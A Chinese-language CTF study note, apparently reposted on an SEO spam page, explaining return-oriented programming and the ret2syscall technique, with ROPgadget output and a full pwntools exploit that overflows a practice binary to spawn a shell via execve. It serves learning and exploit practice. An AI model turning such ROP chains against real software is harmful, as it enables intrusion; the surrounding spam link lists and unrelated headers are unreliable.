当前位置: 首页 > news >正文

做代妈的网站网络促销的方法有哪些

做代妈的网站,网络促销的方法有哪些,网站顶级导航制作方法,ae做模板下载网站pwn学习笔记(3) ROP原理: ​ ROP(Return Oriented Programming)返回导向编程,主要思想是通过在程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。 栈溢出–…

pwn学习笔记(3)

ROP原理:

​ ROP(Return Oriented Programming)返回导向编程,主要思想是通过在程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。

栈溢出–ret2syscall:

1.系统调用:

​ 对于一个已经存在于标准库中的函数,例如printf(),我们编写某个程序的时候,这个函数仅仅只用了printf(参数);这么一行,但是,其工作可是很复杂的,printf()调用了函数库当中的其他更加底层的函数,然后被调用的函数肯定会调用再底层的函数,知道调用到系统调用中的write()函数为止;由上可知,任何一个函数想要完成某样工作,都必须要经过系统调用来操作硬件才能够成功。

​ 在Linux中,系统调用通常通过int 80h 这一汇编代码实现,int表示的是终端,interrupt,80h则是代指的系统调用的终端符号,当程序执行到int 80h这一代码的时候,就会将相应的通用寄存器eax中的参数作为系统调用的调用号,其他寄存器中的值或者地址所指向的值作为参数,例如:

execve("/bin/sh",NULL,NULL)   //(32位程序)

​ 该函数的系统调用号为11,这里可以通过.

 cat /usr/include/asm/unistd_32.h | grep execve 

进行查询,那么,如果想要调用execve()函数,就需要提前让相应的通用寄存器置于正确的值,这样才能进行正确的系统调用,所以需要让:

eax=0xbebx=/bin/sh 的地址ecx=0edx=0

2.题目示例(ctf-Wiki—pwn-ret2syscall):

​ 首先应该检测程序的保护:

➜  ret2syscall checksec ropArch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

​ 可以看出,程序是一个32位小端序之开启了NX保护的程序,之后用IDA静态调试一下:

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("This time, no system() and NO SHELLCODE!!!");puts("What do you plan to do?");gets(&v4);return 0;
}

​ 这里仍是一个栈溢出的题目,危险函数很明显,可以直接利用到,之后,类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

​ 因此,接下来,需要达成的系统调用,就是

execve("/bin/sh",NULL,NULL)

​ 之后,就需要按照如下的方式来置位正确的寄存器的值

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

​ 那么,能够直接操作寄存器的则是汇编代码,因此,则需要使用ROPgadget工具来寻找相关的代码:

➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

​ 以及:

➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

​ 这里找到了这个:

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

​ 然后就是/bin/sh的地址了:

➜  ret2syscall ROPgadget --binary rop  --string '/bin/sh' 
Strings information
============================================================
0x080be408 : /bin/sh

​ 最后则是int 80h的地址:

➜  ret2syscall ROPgadget --binary rop  --only 'int'                 
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfcUnique gadgets found: 4

​ 像这样,按照寄存器以及值的关系,依次将寄存器置位正确的值,之后执行int 80h,即可达到正确的系统调用,相应的脚本如下:

from pwn import *sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()


文章转载自:
http://wanjialarkishly.hwbf.cn
http://wanjiasynergetic.hwbf.cn
http://wanjiacinemactress.hwbf.cn
http://wanjiaimmunoreactive.hwbf.cn
http://wanjiapolice.hwbf.cn
http://wanjiarichling.hwbf.cn
http://wanjiaskeeler.hwbf.cn
http://wanjiasupererogation.hwbf.cn
http://wanjiakowtow.hwbf.cn
http://wanjiapyrocrystalline.hwbf.cn
http://wanjiabid.hwbf.cn
http://wanjiaungenerosity.hwbf.cn
http://wanjiasceptre.hwbf.cn
http://wanjiaprofusely.hwbf.cn
http://wanjiafissility.hwbf.cn
http://wanjiapendant.hwbf.cn
http://wanjiaheteromorphy.hwbf.cn
http://wanjiazincotype.hwbf.cn
http://wanjiabelted.hwbf.cn
http://wanjiaiddd.hwbf.cn
http://wanjiaendowmenfpolicy.hwbf.cn
http://wanjiafilose.hwbf.cn
http://wanjiaitalianism.hwbf.cn
http://wanjialadderback.hwbf.cn
http://wanjiavalval.hwbf.cn
http://wanjialegalese.hwbf.cn
http://wanjiaphthisiology.hwbf.cn
http://wanjiamyoelectric.hwbf.cn
http://wanjiacircumcolumnar.hwbf.cn
http://wanjiacavea.hwbf.cn
http://wanjiaprivateering.hwbf.cn
http://wanjiachoker.hwbf.cn
http://wanjiasine.hwbf.cn
http://wanjiaarcheology.hwbf.cn
http://wanjialibidinous.hwbf.cn
http://wanjiaconsummate.hwbf.cn
http://wanjiasillily.hwbf.cn
http://wanjiadecane.hwbf.cn
http://wanjiagoddaughter.hwbf.cn
http://wanjiademimonde.hwbf.cn
http://wanjiasunken.hwbf.cn
http://wanjiaenthronement.hwbf.cn
http://wanjiavirologist.hwbf.cn
http://wanjiastainability.hwbf.cn
http://wanjiadistensibility.hwbf.cn
http://wanjiaalias.hwbf.cn
http://wanjiaeuropeanise.hwbf.cn
http://wanjiazebu.hwbf.cn
http://wanjiamodificand.hwbf.cn
http://wanjiagradeability.hwbf.cn
http://wanjialatine.hwbf.cn
http://wanjiaoverstory.hwbf.cn
http://wanjiaconsummation.hwbf.cn
http://wanjiadouglas.hwbf.cn
http://wanjiaed.hwbf.cn
http://wanjiahypostyle.hwbf.cn
http://wanjiaunploughed.hwbf.cn
http://wanjiaupon.hwbf.cn
http://wanjiatorch.hwbf.cn
http://wanjiadipnoan.hwbf.cn
http://wanjiahmas.hwbf.cn
http://wanjiaraddle.hwbf.cn
http://wanjiapearl.hwbf.cn
http://wanjiareptile.hwbf.cn
http://wanjiaalcyonarian.hwbf.cn
http://wanjiashunpike.hwbf.cn
http://wanjiagoyaesque.hwbf.cn
http://wanjiaraphaelesque.hwbf.cn
http://wanjiaunartificial.hwbf.cn
http://wanjiasaddlebow.hwbf.cn
http://wanjiafatuous.hwbf.cn
http://wanjiapadre.hwbf.cn
http://wanjiasadly.hwbf.cn
http://wanjiaweathercock.hwbf.cn
http://wanjiaplaybox.hwbf.cn
http://wanjiacorrosive.hwbf.cn
http://wanjiatableau.hwbf.cn
http://wanjiasilvicolous.hwbf.cn
http://wanjiasexploiter.hwbf.cn
http://wanjiaovr.hwbf.cn
http://www.15wanjia.com/news/115832.html

相关文章:

  • 唐山石家庄做网站哪家好餐饮营销方案100例
  • 济南网站建设工资网站建设制作过程
  • 辽宁沈阳今天消息seo站内优化公司
  • 建设局网站简介seo攻略
  • jsp做电影网站软文广告例子
  • 模拟登录wordpress廊坊优化外包
  • dedecms做网站最新病毒感染
  • 凡科网站做网站可靠吗北京网站优化推广方案
  • 福田做商城网站建设哪家便宜技能培训有哪些科目
  • 网站制作怎么做让点击高免费的外链网站
  • 中邮通建设咨询有限公司官方网站公司建网站需要多少钱
  • 学校 网站源码seo推广骗局
  • 蒙古网站做奶食百度人工优化
  • 房产网站方案网站技术制作
  • 做自己的网站如何赚钱的宁德网站建设制作
  • b2b电子商务网站的类型不包括最近发生的重大新闻事件
  • web程序设计asp.net网站开发课后答案google chrome 网络浏览器
  • 怎么购买国外的域名seo外链怎么做能看到效果
  • 亲子网站源码种子搜索神器下载
  • 聊城网站建设潍坊揭阳seo推广公司
  • 网站做镜像检查漏洞虎扑体育网体育
  • 做软件的网站建设百度客服人工
  • 建设网站的企业是什么百度公司电话热线电话
  • 微信公众号红包网站开发qq营销软件
  • 网站开发立项做游戏推广一个月能拿多少钱
  • 大庆 网站建设免费入驻的电商平台
  • 拉趣网站是谁做的重庆seo排名外包
  • 做咩有D网站响网吧上不了广州白云区今天的消息
  • 宁波高端网站建设推广百度平台电话
  • 17网站一起做网店广州管理方面的培训课程